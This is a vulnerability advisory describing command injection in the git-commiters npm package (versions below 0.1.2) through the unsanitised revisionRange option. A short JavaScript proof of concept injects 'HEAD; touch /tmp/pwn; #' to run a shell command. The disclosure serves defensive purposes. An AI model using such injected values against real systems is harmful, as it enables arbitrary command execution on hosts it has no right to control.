Command Injection Affecting git-commiters package, versions <0.1.2

git-commiters is a Statistical summary of various infomation about git commiter.

Affected versions of this package are vulnerable to Command Injection via the gitCommiters() API which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD without proper sanitization. An attacker can execute arbitrary system commands by supplying crafted input to the revisionRange option.

1. Install git-commiters@0.1.1 or earlier
2. Initialize a new Git directory with commits in it
3. Create the following script in that directory:

var gitCommiters = require("git-commiters");

var options = {
  cwd: "./",
  revisionRange: "HEAD; touch /tmp/pwn; #",
};
gitCommiters(options, function (err, result) {
  if (err) console.log(err);
  else console.log(result);
});

4. Observe new file created on disk at /tmp/pwn

• GitHub Commit